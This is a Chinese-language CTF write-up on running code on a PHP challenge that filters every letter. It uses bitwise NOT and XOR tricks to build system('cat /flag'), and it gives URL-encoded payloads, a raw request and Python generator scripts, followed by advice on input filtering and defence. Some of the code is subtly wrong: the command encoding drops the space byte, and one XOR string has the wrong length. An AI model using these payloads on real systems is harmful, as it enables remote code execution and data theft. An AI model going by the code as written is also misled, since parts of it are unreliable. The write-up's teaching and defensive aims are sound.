我上周刷题时碰见一个靶场,标题写得相当欠揍:哦豁,你不能输入字母了。页面干净得不像话,一个输入框,一个提交按钮。我习惯性输入id回车,不出意外被拦了,界面弹出提示:哦豁,你不能输入字母了。最开始我还以为是玩笑,后来才发现过滤规则写得非常死:所有大小写字母a-zA-Z一律拦截,数字、符号、下划线倒是能过。
这种题在安全圈里有个专门的名字:无字母数字RCE,核心就是绕过字母过滤,在不能直接写出函数名和命令的情况下,仍然让目标环境执行我们想要的代码。它特别适合三类人:刚入门CTF的Web选手、做渗透测试想理解输入过滤逻辑的人、平时写代码但没怎么研究过语言特性的开发者。如果你正在被这类题折磨,这篇复盘应该能帮你少走不少弯路。
1. “哦豁,你不能输入字母了”到底考什么
1.1 一个看似很简单的输入限制
这个靶场的交互逻辑并不复杂。常见的实现方式是,站点接收一个参数,比如cmd或code,然后直接交给后端函数执行。可能是eval,可能是assert,也可能是一个自定义的代码执行管道。但在执行之前,系统先做一道检查:参数里只要出现任意英文字母,就直接拒绝,并返回那句标志性的提示。
我实际测试了一下,提交1、_、(、~这类内容都能正常进入后端逻辑,但提交a、B、z任意一个字母就会当场被拦。说明过滤针对的是字符集合,不是长度,也不是组合。它大概率用了类似preg_match('/[a-zA-Z]/', $input)这样的正则,或者就是逐字符遍历了一遍输入,把ASCII码落在字母区间的统统拉黑。
这种限制听起来人畜无害:你总不能在没有字母的情况下拼出system或cat /flag吧?可问题恰恰就出在“总不能”这三个字上。CTF 里很多看似无解的规则,最后都变成了对编程语言底层特性的考验。
1.2 过滤字母不等于阻止代码执行
要理解这道题,得先把过滤规则和代码执行之间那层窗户纸捅破。一个典型的执行请求长这样:
system("id");系统要求你“不能输入字母”,意思是请求参数里不能出现s、y、t、e、m这些字符。但system这个名字真的必须由请求方“亲手”写出来吗?不一定。
这就像安检口不让带整把菜刀,你完全可以把刀刃和刀柄拆开,分成两块金属和一块木头带进去,过了安检再组装。代码执行也一样:函数名只是一串字符,命令也是一串字符,过滤规则拦的是“直接出现在输入里的字母”,但并没有拦你用数字、符号、位运算去“组装”字母。
所以这道靶场真正考的是两件事:
- 你知不知道目标语言里有哪些不用直接写字面量也能生成字符串的技巧。
- 你能不能把生成出来的字符串,再作为函数名或命令参数交给执行点。
1.3 这道题为什么值得好好复现
说实话,现在很多CTF题越来越偏门,但“无字母数字RCE”不是偏门,它是理解PHP这类动态语言特性的最佳入口之一。刷完这个靶场,你至少能搞清楚几个平时根本不会注意的点:
- PHP 的字符串本质上就是字节数组,位运算可以直接作用在字符串上。
- 函数调用不一定非要
system(...),也可以是("system")(...)。 - 只要控制好编码,URL参数完全可以把不可见字节传输给后端。
- 黑名单防护的真实局限,远比你想象的大。
这些知识放在真实渗透测试里同样有用,因为不少老系统、WAF规则、边缘设备仍然在用类似的黑名单思路做拦截。
2. 绕过字母的三个核心原理
2.1 函数名和命令本质上是一串字符
先建立一个基本认知:在PHP里,system("id")其实有一个等价写法:
$func = "system"; $func("id");PHP允许把函数名放进变量,再在变量后面直接加括号调用。你甚至可以更极端一点:
("system")("id");把一个字符串字面量用圆括号包起来,后接(),也会被当作函数调用。这意味着什么呢?意味着只要我能构造出一个内容为system的字符串,后面接个小括号,命令执行就成立了。
所以原本的问题变成了一个更底层的字符串构造问题:在输入中不能出现字母的条件下,如何得到一个内容为system、cat /flag或者其他任意字符串的值?
这三个字是关键。接下来的取反、异或、自增,本质上都是回答这个问题。
2.2 取反:一条字节走天下
PHP 的按位取反运算符~,作用于字符串时会逐字节取反。一个字节的值范围是 0 到 255,取反就是把每个二进制位翻转:原来为0的变1,原来为1的变0。用公式表示就是:
取反后的字节 = 255 - 原始字节这个特性极其好用。因为对于任意一个目标字母,比如s的ASCII码是 0x73,我只需要找一个原始字节 0x8C,对 0x8C 取反就能得到 0x73。换句话说,一个不可见字节\x8c,取反后就是字母s。把多个目标字符分别取反再拼起来,就能得到任意目标字符串。
比如,system对应的取反字节是:
s -> 0x73 -> 取反前 0x8C y -> 0x79 -> 取反前 0x86 s -> 0x73 -> 取反前 0x8C t -> 0x74 -> 取反前 0x8B e -> 0x65 -> 取反前 0x9A m -> 0x6D -> 取反前 0x92所以:
~"\x8c\x86\x8c\x8b\x9a\x92" == "system"这些\x8c之类的原始字节当然不是字母,不会被黑名单过滤挡掉。它们可以通过URL编码塞进请求参数:%8c%86%8c%8b%9a%92。后端拿到参数后,URL解码会还原出原始字节,PHP再对这段字节做取反,最终得到system。
这就是无字母RCE里最经典、最稳的一条路。只要过滤规则没有把~符号也拉黑,取反几乎可以构造出任何字符串。
2.3 异或:没有 ~ 时的备用钥匙
如果题目再变态一点,把~也加入黑名单,取反就废了。这时候可以用异或运算符^。它同样是按字节运算,规则是:两个参与运算的字节,二进制位相同则结果为0,不同则结果为1。对于两个字节a和b:
a ^ b = 目标字节只需要找到两个非字母字节,让它们异或的结果等于目标字符,就能拼出想要的内容。由于异或不要求某个字节固定是多少,选择余地比取反大得多。比如:
"!" ^ "~" // 0x21 ^ 0x7E == 0x5F,也就是 "_" ":" ^ "}" // 0x3A ^ 0x7D == 0x47,也就是 "G" "%" ^ "`" // 0x25 ^ 0x60 == 0x45,也就是 "E" "*" ^ "~" // 0x2A ^ 0x7E == 0x54,也就是 "T"于是:
"!:%*" ^ "~}`~" == "_GET"如果系统把~或者其他符号也过滤了,也没关系,只要把脚本里的可选字符集调整一下,重新找一对字节就行。理论上只要过滤没有覆盖到全部非字母字节(它也不可能全部覆盖,因为参数还得允许URL编码和请求分隔符),异或总有办法。
2.4 自增与其他补充手段
PHP还有个特别有意思的字符串自增特性。如果用++作用在一个字符串上,并不是数值加一,而是对字符串中最后一个字符做ASCII顺序递增:
'a'++ // 得到 'b' 'A'++ // 得到 'B' '1'++ // 得到 '2'不过这里有个鸡生蛋的问题:如果连最开头的'a'都写不出来,自增怎么启动?所以自增一般不是独立的绕过方案,而是配合取反或异或使用。先用取反拿到一个初始字母,比如a,然后循环自增,就能得到b、c、d……进而拼出更长的函数名。
在极端情况下,比如过滤规则把%、^、~全部禁止,剩下可用的字符只有数字、括号、逗号、下划线,那你可能需要靠 PHP 的数组结构、变量名特性、函数名大小写不敏感等特性组合。这种场景比较小概率,但理解了自增机制,至少能让你在遇到“只有一个字母都没法直接写”的情况下不慌。
3. 实战复现:完整构造无字母 payload
3.1 先探测环境,别上来就莽
拿到一个靶场,第一步不是直接想payload,而是先确认过滤规则和代码执行点。我习惯按下面的顺序测试:
- 提交纯数字
1,看返回是否正常。 - 提交单个字母
a,确认拦截情况和提示。 - 提交
%8c这类高位字节,看是否会被解码、是否报错。 - 提交带括号和分号的内容,比如
(1);,看PHP是否把它当成代码执行。 - 故意写一个明显有语法错误、但绕过字母过滤的串,看是否暴露出
eval之类的函数名。
比如我提交(~"%8c%86%8c%8b%9a%92")(~"%9c%9e%8b%d0%99%93%9e%98");时,页面如果直接输出了flag或uid=...,说明后端确实在用代码执行函数,而且我的payload成功落地了。
如果页面只是返回一个空响应,可能不是payload没执行,而是命令有回显但被吞了。这时候可以试试把命令改成echo 123,或者用var_dump包一层。Nx
3.2 用取反构造 system("cat /flag")
确定了过滤规则是[a-zA-Z]后,我直接采用取反路线。目标命令是cat /flag,把它转成取反字节:
c -> 0x63 -> 取反前 0x9C a -> 0x61 -> 取反前 0x9E t -> 0x74 -> 取反前 0x8B 空格 -> 0x20 -> 取反前 0xDF / -> 0x2F -> 取反前 0xD0 f -> 0x66 -> 取反前 0x99 l -> 0x6C -> 取反前 0x93 a -> 0x61 -> 取反前 0x9E g -> 0x67 -> 取反前 0x98URL编码后就是:
%9c%9e%8b%d0%99%93%9e%98最终payload:
?cmd=(~"%8c%86%8c%8b%9a%92")(~"%9c%9e%8b%d0%99%93%9e%98");拆解开看:
~"%8c%86%8c%8b%9a%92"返回字符串system~"%9c%9e%8b%d0%99%93%9e%98"返回字符串cat /flag- 整体等于
("system")("cat /flag")
这里有一个非常关键的细节:请求参数里的%9c,在被PHP解析之后已经变成了原始字节 0x9C,所以进入eval的代码实际上是:
(~"\x8c\x86\x8c\x8b\x9a\x92")(~"\x9c\x9e\x8b\xd0\x99\x93\x9e\x98");而不是在源码里写了字面上的%8c六个字符。很多人第一次在这个环节翻车,就是因为把URL参数和本地PHP源码字面量搞混了。
3.3 用异或也能拼出 system
取反虽说最稳,但万一后端的WAF把~也列入黑名单,就得用异或顶上。异或的思路是找两个非字母字符串,逐字节异或得到system。
以我本地构造的一组为例:
"/'/*80" ^ "\\^^\\^]]"逐字节看:
/0x2F ^\0x5C = 0x73s'0x27 ^^0x5E = 0x79y/0x2F ^\0x5C = 0x73s*0x2A ^^0x5E = 0x74t80x38 ^]0x5D = 0x65e00x30 ^]0x5D = 0x6Dm
因此在PHP里:
("/'/*80" ^ "\\^^\\^]]") == "system"调用的时候同样可以写成:
("/'/*80" ^ "\\^^\\^]]")(参数);参数部分继续用类似方式构造。如果你觉得手工算太麻烦,就直接跑脚本生成。
3.4 用脚本自动生成目标字符串
手工算字符串容易出错,尤其是目标串一长,比如cat /flag、/readflag、nl /flag之类,逐个字节心算太痛苦。我分享一个很小的Python脚本,专门用来生成取反和异或需要的字节。
取反方案生成函数名或命令:
import urllib.parse def gen_not(target: str) -> str: raw = "".join(chr(255 - ord(ch)) for ch in target) return urllib.parse.quote(raw, safe="") # 示例 print(gen_not("system")) # %8C%86%8C%8B%9A%92 print(gen_not("cat /flag")) # %9C%9E%8B%D0%99%93%9E%98异或方案需要快速找到一对可以使用的字符串:
from itertools import product def gen_xor(target: str, allowed: str = "0123456789!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"): a_list, b_list = [], [] for ch in target: t = ord(ch) found = False for x, y in product(allowed, repeat=2): if (ord(x) ^ ord(y)) == t: a_list.append(x) b_list.append(y) found = True break if not found: raise ValueError(f"找不到 {ch!r} 对应的异或对") return "".join(a_list), "".join(b_list) print(gen_xor("system"))脚本执行后会把两个字符串打印出来,直接填进PHP的异或表达式里就行。allowed可以根据靶场实际过滤规则调整,如果系统把空格、引号、反斜杠也过滤了,就往这个集合里重新删减。
3.5 最终请求与完整执行链
在靶场上,我最终提交的简化请求长这样:
GET /?cmd=(~"%8c%86%8c%8b%9a%92")(~"%9c%9e%8b%d0%99%93%9e%98"); Host: target后端执行逻辑可以理解成:
cmd参数值被传入eval。- 第一个取反表达式得到字符串
system。 - 第二个取反表达式得到字符串
cat /flag。 - PHP执行
system("cat /flag")。 - 命令输出直接回显到页面。
整个payload里没有任何字母。不论你看请求原文还是后端日志,看到的都只是一堆百分号、引号和括号,干净得可以过“明文扫描”这一关。
4. 踩坑排查与经验速查
4.1 本地调试和URL传参的区别
我第一次复现时在本地PHP文件里写了这么一行:
echo ~"%8c%86%8c%8b%9a%92";结果输出却是乱码加一串%8c的字面量。原因我在前面提过:本地源码里写"%8c",PHP会把这四个字符当作普通字符串,而不是一个字节。只有在URL参数中通过百分号编码,经URL解码后才会变成字节。
所以调试时要么直接把请求发出去,要么在源码里用\x8c这种转义写法:
echo ~"\x8c\x86\x8c\x8b\x9a\x92";这个坑非常容易踩,不是原理不熟,而是调试姿势不对。
4.2 payload 报语法错误怎么办
常见原因有三个:
- 括号不匹配。特别是嵌套多层取反、异或、变量变量时,少一个括号就是语法错误。建议先拆开单独验证每个表达式。
- 字符串引号被过滤。有些靶场为了防注入,会连单双引号一起过滤。这时候取反表达式没法写,需要换用没有引号的构造方式,比如借助数组的键名、PHP 7中的可变函数写法,或者先用脚本生成不需要引号的极短payload。
- URL编码没转对。如果手动复制payload,
%可能被浏览器或中间件二次解码,导致传入后端的内容不是原始字节。我通常在Burp里直接发包,避免浏览器凑热闹。
4.3 PHP 版本差异带来的坑
不同PHP版本,动态调用行为有差异。PHP 5.x里assert('phpinfo()')可以执行字符串,很多人喜欢拿assert当入口。但PHP 7.2开始,assert不再执行字符串代码;PHP 8.0更是彻底移除了这个能力。如果你的靶场是PHP 8环境,还是优先找真正的eval入口,或者改用可变函数调用的方式。
另外,动态函数调用对函数名大小写不敏感,PHP内部会把它当成不区分大小写来处理。某些场景下,可以靠大小写变体规避精确匹配的黑名单,但在本题的[a-zA-Z]全局过滤下,大小写无关紧要,因为所有字母都被拦了。
4.4 常见问题速查表
| 问题现象 | 可能原因 | 解决思路 |
|---|---|---|
| 取反payload返回语法错误 | 写了字面量%8c,没有转换成原始字节 | 在URL参数里发请求,或在PHP源码里用\x8c |
| 页面白屏、无回显 | 命令执行了但输出被吞 | 改用echo、var_dump,或尝试把结果写入文件再读 |
| 异或结果是一堆乱码 | 两个字符串长度不一致或目标编码不对 | 脚本生成时确保长度对齐,且按字节处理 |
~符号被过滤 | 取反方案失效 | 换异或方案,必要时允许高位/控制字符参与构造 |
| 过滤允许字母大小写变体 | 黑名单不完整 | 直接测试大小写绕过,但本靶场黑名单完整,不能靠这个 |
| PHP8环境没有输出 | assert不再执行字符串 | 换成eval或可变函数调用 |
| 命令字符串带空格被过滤 | 空格在黑名单里 | 用${IFS}、%20、<、>等替代,或构造不含空格的命令 |
5. 从靶场到真实场景的思考
5.1 黑名单为何防不住绕过
这个靶场最大的教育意义,不是教你写几个花哨的payload,而是让你亲眼看到黑名单的脆弱。黑名单的思路是“我知道什么危险,我把它筛掉”。可问题是,代码解释器本身非常灵活,危险输入经过编码、运算、拼接后,仍然可以在最后一步变成完整的执行语句。
字母只是代码的一层表象,不是代码执行的必要条件。system可以被算出来,cat /flag可以被算出来,连$_GET这种超全局数组名也能被算出来。你拦住了字母,但拦不住位运算和类型转换,那黑名单就形同虚设。
真实情况下,很多老系统的WAF规则至今还在简单过滤select、union、system这类关键词,却忘了编码绕过和动态构造的问题。所以看到这类靶场,第一反应应该是检查自己的工作环境里有没有类似漏洞。
5.2 真实防护的正确打开方式
如果你的目的是防御,不要试图在输入过滤层把所有危险字母都封死。更靠谱的思路是:
- 尽量不使用
eval、assert、preg_replace的/e修饰符这类动态执行能力。 - 对必须执行的命令,用白名单限定可调用函数和命令参数。
- 对用户输入做长度限制、类型校验,别把输入直接交给解释器。
- 在应用层之外做防御纵深,系统权限、容器隔离、最小化账号,都远比一个黑名单更实际。
这道靶场能产生这么多绕过方式,根源是“执行点”暴露给了用户。如果后端只是做一个字符串拼接,并把用户输入当纯数据看待,那再多的取反异或都折腾不起来。
5.3 复现这类题目的几点建议
最后给新接触这类题的朋友几条实用建议:
- 备一个好用的HTTP抓包工具,浏览器直接改参数会被各种编码干扰。
- 准备好Python环境,写脚本生成payload,不要手算。
- 每次构造完先分解验证,确保目标字符串真的生成了。比如先只取反一个字符
"A",打印出来看看是不是A。 - 多收集几个经典payload,关键时候能救命。取反一条、异或一条、数组自增一条,应付大多数靶场足够了。
我自己在刷完这个靶场之后,最大的一个体会是:安全过滤从来不是“封了一个字符就万事大吉”,你得理解解释器是怎么看待你传进去的东西。通过取反和异或构造字符串的技巧,看起来像是CTF里的骚操作,但它背后映射出的语言特性,在真实代码审计和防护建设中同样非常值钱。下次遇到类似的黑名单过滤,先别急着喊“哦豁”,试着想想:哪些看起来没用的符号,能帮你把被拦掉的字母重新拼回来。